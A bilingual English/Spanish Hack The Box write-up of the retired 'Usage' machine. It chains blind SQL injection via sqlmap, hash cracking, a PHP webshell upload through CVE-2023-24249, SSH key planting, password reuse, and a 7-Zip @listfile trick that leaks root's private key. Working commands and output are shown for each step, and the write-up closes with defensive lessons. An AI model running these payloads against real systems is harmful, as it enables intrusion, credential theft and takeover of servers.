Usage
Executive summary — Usage combines a blind SQL injection in a Laravel blog's password-reset flow with an unvalidated file upload in its admin panel (CVE-2023-24249 in
laravel-admin), which yields a PHP webshell and RCE. The escalation chains two password-reuse steps — first from a Monit config file, then a lesser-known abuse of 7-Zip: a sudo-enabled binary that archives an attacker-writable directory can be turned into a primitive to leak, line by line, any file on the system — including root's SSH private key.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.37.225 |
Attack map
[80] usage.htb — blind SQLi in /forget-password (Laravel)
│ dump admin_users → bcrypt hash → cracked: admin:whatever1
▼
[80] admin.usage.htb — Laravel-Admin panel
│ CVE-2023-24249 — unvalidated avatar upload → PHP webshell
▼
[RCE] dash (user.txt)
│ ~/.monitrc leaks admin:3nc0d3d_pa$$w0rd, reused by xander
▼
[SU] xander
│ sudo NOPASSWD /usr/bin/usage_management → 7za -- * on /var/www/html (777)
│ 7-Zip wildcard file-read (@listfile) → /root/.ssh/id_rsa
▼
[ROOT] SSH with the leaked private key → root.txt
1. Reconnaissance and web enumeration
The lab didn't offer passwordless
sudoto edit/etc/hosts, so most enumeration usedcurl --resolveinstead of real vhosts on the system:
echo "10.129.37.225 usage.htb admin.usage.htb" | sudo tee -a /etc/hosts
# No-sudo alternative:
curl --resolve usage.htb:80:10.129.37.225 --resolve admin.usage.htb:80:10.129.37.225 http://usage.htb/
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN m3_allports.txt 10.129.37.225
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sT -sCV -p22,80 -Pn -oN m3_services.txt 10.129.37.225
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
nginx redirects to usage.htb — virtual hosting is in play:
curl -s --resolve usage.htb:80:10.129.37.225 http://usage.htb/ | grep -oiE '<title>|href='
<title>Daily Blogs</title>
href="http://usage.htb/login"
href="http://usage.htb/registration"
href="http://usage.htb/forget-password"
href="http://admin.usage.htb/" <-- admin subdomain
A Laravel blog app with login, registration, password reset, and an admin panel under the admin.usage.htb subdomain. Checking the forms:
R() { curl -s -c cj.txt -b cj.txt --resolve usage.htb:80:10.129.37.225 --resolve admin.usage.htb:80:10.129.37.225 "$@"; }
# forget-password
R http://usage.htb/forget-password | grep -oiE 'name="[^"]*"|action="[^"]*"'
# name="_token" name="email" action=".../forget-password"
# admin.usage.htb
R http://admin.usage.htb/ | grep -oiE '<title>[^<]*|name="[^"]*"|laravel'
# <title>Admin | Login</title> username / password / _token (laravel-admin)
admin.usage.htbis a Laravel-Admin panel (theencore/laravel-adminpackage) — a key fact to remember for later.
Resumen ejecutivo — Usage combina una inyección SQL ciega en el flujo de recuperación de contraseña de un blog Laravel con una subida de fichero sin validar en su panel de administración (CVE-2023-24249 de
laravel-admin), que da un webshell PHP y RCE. La escalada encadena dos reutilizaciones de contraseña — primero desde un fichero de configuración de Monit, luego un abuso poco conocido de 7-Zip: un binario consudoque comprime un directorio escribible por el atacante puede usarse para filtrar, carácter a carácter, cualquier fichero del sistema — incluida la clave privada SSH de root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.37.225 |
Mapa del ataque
[80] usage.htb — SQLi ciega en /forget-password (Laravel)
│ dump de admin_users → hash bcrypt → crackeado: admin:whatever1
▼
[80] admin.usage.htb — panel Laravel-Admin
│ CVE-2023-24249 — subida de avatar sin validar extensión → webshell PHP
▼
[RCE] dash (user.txt)
│ ~/.monitrc filtra admin:3nc0d3d_pa$$w0rd, reutilizada por xander
▼
[SU] xander
│ sudo NOPASSWD /usr/bin/usage_management → 7za -- * en /var/www/html (777)
│ fuga de fichero por comodín de 7-Zip (@listfile) → /root/.ssh/id_rsa
▼
[ROOT] SSH con la clave privada filtrada → root.txt
1. Reconocimiento y enumeración web
El laboratorio no ofrecía
sudosin contraseña para editar/etc/hosts, así que la mayor parte de la enumeración usócurl --resolveen vez de vhosts reales en el sistema:
echo "10.129.37.225 usage.htb admin.usage.htb" | sudo tee -a /etc/hosts
# Alternativa sin sudo:
curl --resolve usage.htb:80:10.129.37.225 --resolve admin.usage.htb:80:10.129.37.225 http://usage.htb/
nmap -sT -p- --min-rate 3000 -T4 -Pn -oN m3_allports.txt 10.129.37.225
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
nmap -sT -sCV -p22,80 -Pn -oN m3_services.txt 10.129.37.225
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
nginx redirige a usage.htb — hay virtual hosting de por medio:
curl -s --resolve usage.htb:80:10.129.37.225 http://usage.htb/ | grep -oiE '<title>|href='
<title>Daily Blogs</title>
href="http://usage.htb/login"
href="http://usage.htb/registration"
href="http://usage.htb/forget-password"
href="http://admin.usage.htb/" <-- subdominio de administración
Una aplicación Laravel (blog) con login, registro, recuperación de contraseña, y un panel de administración en el subdominio admin.usage.htb. Revisando los formularios:
R() { curl -s -c cj.txt -b cj.txt --resolve usage.htb:80:10.129.37.225 --resolve admin.usage.htb:80:10.129.37.225 "$@"; }
# forget-password
R http://usage.htb/forget-password | grep -oiE 'name="[^"]*"|action="[^"]*"'
# name="_token" name="email" action=".../forget-password"
# admin.usage.htb
R http://admin.usage.htb/ | grep -oiE '<title>[^<]*|name="[^"]*"|laravel'
# <title>Admin | Login</title> username / password / _token (laravel-admin)
admin.usage.htbes un panel Laravel-Admin (paqueteencore/laravel-admin) — un dato clave a retener para más adelante.
2. Foothold (I) — blind SQLi in /forget-password
The password-reset flow queries the database with the supplied email. Comparing responses reveals a boolean oracle:
- Nonexistent email →
302back to/forget-password, no error trace. - A single-quote payload
email=a'→ the page responds with the word "Error" — a mishandled SQL syntax error.
freshtok() { R http://usage.htb/forget-password \
| grep -oE 'name="_token"[^>]*value="[^"]*"' \
| grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//'; }
T=$(freshtok)
R -X POST http://usage.htb/forget-password \
--data-urlencode "_token=$T" --data-urlencode "email=a'" | grep -i error
# -> "Error" (SQLi indicator)
The form carries a CSRF token (
_token) that changes on every request — it has to be refreshed before each attempt, whichsqlmapcan automate with--csrf-url/--csrf-token. Since it has no--resolve, it targets the IP directly with theHostheader, and--csrf-urlforces single-threaded mode (--threadsis incompatible with CSRF renewal).
sqlmap -u "http://10.129.37.225/forget-password" \
--data="_token=x&email=test@usage.htb" -p email \
--csrf-url="http://10.129.37.225/forget-password" --csrf-token="_token" \
-H "Host: usage.htb" \
--batch --dbms=mysql --level=2 --risk=2 --current-db
POST parameter 'email' is 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
Payload: _token=x&email=test@usage.htb' AND 6248=(SELECT (CASE WHEN (6248=6248)
THEN 6248 ELSE (SELECT 7132 UNION SELECT 6772) END))-- -
back-end DBMS: MySQL >= 8.0.0
current database: 'usage_blog'
With the injection confirmed, the admin panel's credential table is dumped:
sqlmap -u "http://10.129.37.225/forget-password" \
--data="_token=x&email=test@usage.htb" -p email \
--csrf-url="http://10.129.37.225/forget-password" --csrf-token="_token" \
-H "Host: usage.htb" \
--batch --dbms=mysql -D usage_blog -T admin_users -C id,username,password --dump
Table: admin_users
| id | username | password |
| 1 | admin | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > admin.hash
john admin.hash --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
whatever1
Panel credentials: admin : whatever1.
3. Foothold (II) — RCE in Laravel-Admin (CVE-2023-24249)
A() { curl -s -c cja.txt -b cja.txt --resolve admin.usage.htb:80:10.129.37.225 "$@"; }
T=$(A http://admin.usage.htb/admin/auth/login \
| grep -oE 'name="_token"[^>]*value="[^"]*"' \
| grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//' | head -1)
A -i -X POST http://admin.usage.htb/admin/auth/login \
--data-urlencode "_token=$T" \
--data-urlencode "username=admin" \
--data-urlencode "password=whatever1" \
--data-urlencode "remember=1"
# 302 -> http://admin.usage.htb/admin (valid session)
CVE-2023-24249: in vulnerable
laravel-adminversions, the user profile's avatar upload (/admin/auth/setting) doesn't properly validate the uploaded file's extension or type. A.phpfile can slip through and ends up reachable atpublic/uploads/images/…, where the server interprets and runs it as ordinary PHP — the classic problem of treating an upload folder as "data" when it's actually "servable code".
A http://admin.usage.htb/admin/auth/setting | grep -oiE 'name="[^"]*"|enctype|type="file"'
# enctype=multipart/form-data name="_token" name="_method"(=PUT) name="name" name="avatar"(file)
The form uses Laravel method spoofing (_method=PUT). A trivial webshell disguised as an image is uploaded:
printf '<?php system($_GET["c"]); ?>\n' > shell.php
T=$(A http://admin.usage.htb/admin/auth/setting \
| grep -oE 'name="_token"[^>]*value="[^"]*"' \
| grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//' | head -1)
A -i -X POST http://admin.usage.htb/admin/auth/setting \
-F "_token=$T" -F "_method=PUT" -F "name=Administrator" \
-F "avatar=@shell.php;type=image/png;filename=shell.php" \
-F "after-save=1"
# 302 -> /admin/auth/setting
A http://admin.usage.htb/admin/auth/setting | grep -oiE 'uploads/[^"'\'' ]*'
# uploads/images/shell.php
The declared content-type/extension in the request (image/png) don't matter: the server only validates the filename's extension, and the real content is plain PHP. The file is served from the admin vhost:
curl -s --resolve admin.usage.htb:80:10.129.37.225 \
"http://admin.usage.htb/uploads/images/shell.php?c=id;whoami;hostname"
uid=1000(dash) gid=1000(dash) groups=1000(dash)
dash
usage
RCE confirmed as the dash user. For a more comfortable foothold than the HTTP webshell, an SSH key of our own is planted:
PUB=$(cat artkey.pub) # own ed25519 public key
CMD="mkdir -p /home/dash/.ssh && echo '$PUB' >> /home/dash/.ssh/authorized_keys \
&& chmod 700 /home/dash/.ssh && chmod 600 /home/dash/.ssh/authorized_keys && echo KEYOK"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$CMD")
curl -s --resolve admin.usage.htb:80:10.129.37.225 \
"http://admin.usage.htb/uploads/images/shell.php?c=$ENC" # KEYOK
ssh -i artkey dash@10.129.37.225 'id; cat ~/user.txt'
uid=1000(dash) gid=1000(dash) groups=1000(dash)
5499e192f6a3cb0f6bff5563958c6a1b
🚩 user.txt: 5499e192f6a3cb0f6bff5563958c6a1b
4. Escalation 1 — dash to xander (password reuse)
Enumerating dash's home directory turns up a Monit config file (a process-monitoring tool with its own local HTTP interface):
cat ~/.monitrc
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd <-- credential in plaintext
...
The password 3nc0d3d_pa$$w0rd — meant to authenticate to Monit's local HTTP panel — is reused by the real system account
xander: the same credential-recycling pattern that keeps showing up on this kind of box.
su xander # password: 3nc0d3d_pa$$w0rd
id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
(In practice, the password-based user switch was automated with pexpect, answering su's prompt.)
5. Escalation 2 — xander to root (7-Zip wildcard file leak)
sudo -l
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
/usr/bin/usage_management
# Choose an option:
# 1. Project Backup
# 2. Backup MySQL data
# 3. Reset admin password
strings /usr/bin/usage_management | grep -iE '7za|/var/www|chdir|mysqldump'
chdir
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
Option 1 (Project Backup) runs, as root,
chdir("/var/www/html")followed by7za a ... -- *. The*wildcard is expanded by the shell itself inside/var/www/html— a directory with 777 permissions:
ls -ld /var/www/html
drwxrwxrwx 4 root xander 4096 ... /var/www/html
The technique: 7-Zip treats any argument starting with
@as a list file: instead of archiving that literal name, it opens the file and treats each line of its contents as an additional filename to add to the archive. Since the attacker fully controls the directory being archived, this condition can be engineered directly:
- Create a symlink
id_rsapointing at the target file (/root/.ssh/id_rsa). - Create an empty file named
@id_rsa(same name, with an at-sign in front). - When
*expands,7zareceives both@id_rsaandid_rsa. It processes@id_rsaas a list file → opensid_rsa(the symlink) → reads the contents of root's private key and tries to treat each line as a filename to archive. Since those "files" don't exist, 7za reports them, line by line, in its warnings section — leaking the entire key contents through a side channel never meant for data exfiltration.
cd /var/www/html
ln -s /root/.ssh/id_rsa id_rsa
touch @id_rsa
echo "1" | sudo /usr/bin/usage_management 2>&1
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
Scan WARNINGS for files and folders:
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
...
Bonus with the same trick: pointing the symlink straight at
/root/root.txt(ln -s /root/root.txt root.txt; touch @root.txt) leaks the root flag directly, with no need to even reconstruct the key.
Each leaked line carries the suffix : No more files; stripping the carriage return (\r) SSH introduces and removing that suffix reconstructs the original key file:
tr -d '\r' < sevenz_raw.txt > sevenz_clean.txt
{
echo "-----BEGIN OPENSSH PRIVATE KEY-----"
grep " : No more files" sevenz_clean.txt | sed 's/ : No more files$//' \
| grep -vE "BEGIN OPENSSH|END OPENSSH"
echo "-----END OPENSSH PRIVATE KEY-----"
} > root_id_rsa
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.37.225 'id; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)
daaa314f0b7df81b3b43d12d026011bd
🚩 root.txt: daaa314f0b7df81b3b43d12d026011bd
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold I | /forget-password (Laravel) | Boolean blind SQLi in the email parameter | Admin panel credential dump |
| Foothold II | laravel-admin panel | CVE-2023-24249 — unvalidated avatar extension on upload | RCE as dash (user.txt) |
| Lateral movement | ~/.monitrc | Plaintext Monit credential reused on xander's OS account | Access as xander |
| PrivEsc | usage_management (sudo NOPASSWD) + 7-Zip | Wildcard * over a 777 directory + list file (@name) file leak | Root (root.txt) via leaked SSH key |
Lessons learned
- A password-reset form with improperly parameterized queries is a low-friction SQLi: a generic error message is already enough to serve as a boolean oracle.
- Validating an "avatar" upload only by client-declared MIME type is worthless if the server then interprets the actual file content based on its extension — validation has to be content-based, and uploads should never live in a path with code-execution permissions.
- Credentials for monitoring tools (Monit, Nagios, Zabbix…) often live in readable config files and get reused far too often on real system accounts.
- Allowing sudo on a binary that archives a user-writable directory is an escalation vector even if the binary itself has no bug: the problem is the combination of 777 permissions + a wildcard + a tool (7-Zip) with special handling for arguments starting with
@. - 7-Zip's list-file trick (
@name) is a lesser-known arbitrary file-read primitive: any 7-Zip invocation with wildcards over an untrusted directory can become a full, line-by-line exfiltration channel for the contents of any file the process can reach.
2. Foothold (I) — SQLi ciega en /forget-password
El flujo de recuperación de contraseña consulta la base de datos con el email proporcionado. Comparando respuestas se detecta un oráculo booleano:
- Email inexistente →
302hacia/forget-password, sin rastro de error. - Payload con comilla simple
email=a'→ la página responde con la palabra "Error" — un error SQL de sintaxis mal manejado.
freshtok() { R http://usage.htb/forget-password \
| grep -oE 'name="_token"[^>]*value="[^"]*"' \
| grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//'; }
T=$(freshtok)
R -X POST http://usage.htb/forget-password \
--data-urlencode "_token=$T" --data-urlencode "email=a'" | grep -i error
# -> "Error" (indicio de SQLi)
El formulario incluye un token CSRF (
_token) que cambia en cada petición — hay que renovarlo antes de cada intento, algo quesqlmappuede automatizar con--csrf-url/--csrf-token. Como no soporta--resolve, se apunta directamente a la IP con la cabeceraHost, y--csrf-urlobliga a usar un único hilo (--threadses incompatible con la renovación de CSRF).
sqlmap -u "http://10.129.37.225/forget-password" \
--data="_token=x&email=test@usage.htb" -p email \
--csrf-url="http://10.129.37.225/forget-password" --csrf-token="_token" \
-H "Host: usage.htb" \
--batch --dbms=mysql --level=2 --risk=2 --current-db
POST parameter 'email' is 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
Payload: _token=x&email=test@usage.htb' AND 6248=(SELECT (CASE WHEN (6248=6248)
THEN 6248 ELSE (SELECT 7132 UNION SELECT 6772) END))-- -
back-end DBMS: MySQL >= 8.0.0
current database: 'usage_blog'
Con la inyección confirmada, se vuelca la tabla de credenciales del panel de administración:
sqlmap -u "http://10.129.37.225/forget-password" \
--data="_token=x&email=test@usage.htb" -p email \
--csrf-url="http://10.129.37.225/forget-password" --csrf-token="_token" \
-H "Host: usage.htb" \
--batch --dbms=mysql -D usage_blog -T admin_users -C id,username,password --dump
Table: admin_users
| id | username | password |
| 1 | admin | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 |
echo '$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2' > admin.hash
john admin.hash --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt
whatever1
Credenciales del panel: admin : whatever1.
3. Foothold (II) — RCE en Laravel-Admin (CVE-2023-24249)
A() { curl -s -c cja.txt -b cja.txt --resolve admin.usage.htb:80:10.129.37.225 "$@"; }
T=$(A http://admin.usage.htb/admin/auth/login \
| grep -oE 'name="_token"[^>]*value="[^"]*"' \
| grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//' | head -1)
A -i -X POST http://admin.usage.htb/admin/auth/login \
--data-urlencode "_token=$T" \
--data-urlencode "username=admin" \
--data-urlencode "password=whatever1" \
--data-urlencode "remember=1"
# 302 -> http://admin.usage.htb/admin (sesión válida)
CVE-2023-24249: en versiones vulnerables de
laravel-admin, la subida de avatar del perfil de usuario (/admin/auth/setting) no valida correctamente la extensión ni el tipo del fichero subido. Un.phppuede colarse y queda accesible enpublic/uploads/images/…, donde el servidor lo interpreta y ejecuta como código PHP normal — el problema clásico de tratar la carpeta de subidas como «datos» cuando en realidad es «código servible».
A http://admin.usage.htb/admin/auth/setting | grep -oiE 'name="[^"]*"|enctype|type="file"'
# enctype=multipart/form-data name="_token" name="_method"(=PUT) name="name" name="avatar"(file)
El formulario usa method spoofing de Laravel (_method=PUT). Se sube un webshell trivial camuflado de imagen:
printf '<?php system($_GET["c"]); ?>\n' > shell.php
T=$(A http://admin.usage.htb/admin/auth/setting \
| grep -oE 'name="_token"[^>]*value="[^"]*"' \
| grep -oE 'value="[^"]*"' | sed 's/value="//;s/"//' | head -1)
A -i -X POST http://admin.usage.htb/admin/auth/setting \
-F "_token=$T" -F "_method=PUT" -F "name=Administrator" \
-F "avatar=@shell.php;type=image/png;filename=shell.php" \
-F "after-save=1"
# 302 -> /admin/auth/setting
A http://admin.usage.htb/admin/auth/setting | grep -oiE 'uploads/[^"'\'' ]*'
# uploads/images/shell.php
El content-type/extensión declarados en la petición (image/png) no importan: lo único que valida el servidor es la extensión del nombre de fichero, y el contenido real es PHP puro. El fichero se sirve desde el vhost admin:
curl -s --resolve admin.usage.htb:80:10.129.37.225 \
"http://admin.usage.htb/uploads/images/shell.php?c=id;whoami;hostname"
uid=1000(dash) gid=1000(dash) groups=1000(dash)
dash
usage
RCE confirmada como el usuario dash. Para un acceso más cómodo que el webshell HTTP, se planta una clave SSH propia:
PUB=$(cat artkey.pub) # clave pública ed25519 propia
CMD="mkdir -p /home/dash/.ssh && echo '$PUB' >> /home/dash/.ssh/authorized_keys \
&& chmod 700 /home/dash/.ssh && chmod 600 /home/dash/.ssh/authorized_keys && echo KEYOK"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$CMD")
curl -s --resolve admin.usage.htb:80:10.129.37.225 \
"http://admin.usage.htb/uploads/images/shell.php?c=$ENC" # KEYOK
ssh -i artkey dash@10.129.37.225 'id; cat ~/user.txt'
uid=1000(dash) gid=1000(dash) groups=1000(dash)
5499e192f6a3cb0f6bff5563958c6a1b
🚩 user.txt: 5499e192f6a3cb0f6bff5563958c6a1b
4. Escalada 1 — dash → xander (reutilización de contraseña)
Enumerando el home de dash aparece un fichero de configuración de Monit (una herramienta de supervisión de procesos con su propia interfaz HTTP):
cat ~/.monitrc
set httpd port 2812
use address 127.0.0.1
allow admin:3nc0d3d_pa$$w0rd <-- credencial en claro
...
La contraseña 3nc0d3d_pa$$w0rd — pensada para autenticarse en el panel HTTP local de Monit — está reutilizada por la cuenta real del sistema
xander: el mismo patrón de reciclado de credenciales que aparece una y otra vez en este tipo de máquinas.
su xander # password: 3nc0d3d_pa$$w0rd
id
uid=1001(xander) gid=1001(xander) groups=1001(xander)
(En la práctica, el cambio de usuario por contraseña se automatizó con pexpect, respondiendo al prompt de su.)
5. Escalada 2 — xander → root (fuga de fichero por comodín de 7-Zip)
sudo -l
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
/usr/bin/usage_management
# Choose an option:
# 1. Project Backup
# 2. Backup MySQL data
# 3. Reset admin password
strings /usr/bin/usage_management | grep -iE '7za|/var/www|chdir|mysqldump'
chdir
/var/www/html
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *
/usr/bin/mysqldump -A > /var/backups/mysql_backup.sql
La opción 1 (Project Backup) ejecuta, como root,
chdir("/var/www/html")seguido de7za a ... -- *. El comodín*lo expande la propia shell dentro de/var/www/html— un directorio con permisos 777:
ls -ld /var/www/html
drwxrwxrwx 4 root xander 4096 ... /var/www/html
La técnica: 7-Zip trata cualquier argumento que empiece por
@como un fichero de lista (listfile): en vez de comprimir ese nombre literal, abre el fichero y usa cada línea de su contenido como un nombre de fichero adicional a añadir al archivo. Como el atacante controla por completo el directorio que se va a comprimir, puede fabricar esa condición:
- Crear un symlink
id_rsaque apunte al fichero objetivo (/root/.ssh/id_rsa). - Crear un fichero vacío llamado
@id_rsa(mismo nombre, con la arroba delante). - Al expandir
*,7zarecibe tanto@id_rsacomoid_rsa. Procesa@id_rsacomo listfile → abreid_rsa(el symlink) → lee el contenido de la clave privada de root e intenta tratar cada línea como el nombre de un fichero a comprimir. Como esos «ficheros» no existen, 7za los reporta, línea a línea, en su sección de advertencias — filtrando el contenido íntegro de la clave por un canal secundario nunca pensado para exfiltrar datos.
cd /var/www/html
ln -s /root/.ssh/id_rsa id_rsa
touch @id_rsa
echo "1" | sudo /usr/bin/usage_management 2>&1
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
Scan WARNINGS for files and folders:
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW : No more files
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi : No more files
...
Bonus con el mismo truco: apuntando el symlink directamente a
/root/root.txt(ln -s /root/root.txt root.txt; touch @root.txt) se filtra la flag de root sin necesidad siquiera de reconstruir la clave.
Cada línea filtrada tiene el sufijo : No more files; limpiando el retorno de carro (\r) que introduce SSH y quitando ese sufijo, se reconstruye el fichero de clave original:
tr -d '\r' < sevenz_raw.txt > sevenz_clean.txt
{
echo "-----BEGIN OPENSSH PRIVATE KEY-----"
grep " : No more files" sevenz_clean.txt | sed 's/ : No more files$//' \
| grep -vE "BEGIN OPENSSH|END OPENSSH"
echo "-----END OPENSSH PRIVATE KEY-----"
} > root_id_rsa
chmod 600 root_id_rsa
ssh -i root_id_rsa root@10.129.37.225 'id; cat /root/root.txt'
uid=0(root) gid=0(root) groups=0(root)
daaa314f0b7df81b3b43d12d026011bd
🚩 root.txt: daaa314f0b7df81b3b43d12d026011bd
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold I | /forget-password (Laravel) | SQLi ciega booleana en el parámetro email | Dump de credenciales del panel admin |
| Foothold II | Panel laravel-admin | CVE-2023-24249 — subida de avatar sin validar extensión | RCE como dash (user.txt) |
| Movimiento lateral | ~/.monitrc | Credencial de Monit en claro, reutilizada en la cuenta OS de xander | Acceso como xander |
| PrivEsc | usage_management (sudo NOPASSWD) + 7-Zip | Comodín * sobre directorio 777 + fuga de fichero por listfile @nombre | Root (root.txt) vía clave SSH filtrada |
Lecciones aprendidas
- Un formulario de recuperación de contraseña sin parametrizar correctamente sus consultas es una SQLi con muy poca fricción de explotar: el propio mensaje de error genérico ya sirve de oráculo booleano.
- Validar la subida de un «avatar» solo por el tipo MIME declarado por el cliente no sirve de nada si el servidor luego interpreta el contenido real del fichero según su extensión — la validación tiene que basarse en el contenido, y las subidas nunca deberían vivir en una ruta con permiso de ejecución de código.
- Las credenciales de herramientas de monitorización (Monit, Nagios, Zabbix…) suelen vivir en ficheros de configuración legibles y se reutilizan con demasiada frecuencia en cuentas reales del sistema.
- Permitir
sudosobre un binario que comprime un directorio escribible por el usuario es un vector de escalada aunque el binario en sí no tenga ningún fallo: el problema está en la combinación de permisos 777 + comodín + una herramienta (7-Zip) con comportamiento especial para argumentos que empiezan por@. - El truco del listfile de 7-Zip (
@nombre) es una primitiva de lectura arbitraria de ficheros poco conocida: cualquier ejecución de 7-Zip con comodines sobre un directorio no confiable puede convertirse en un canal de exfiltración completo, línea a línea, del contenido de cualquier fichero al que el proceso tenga acceso.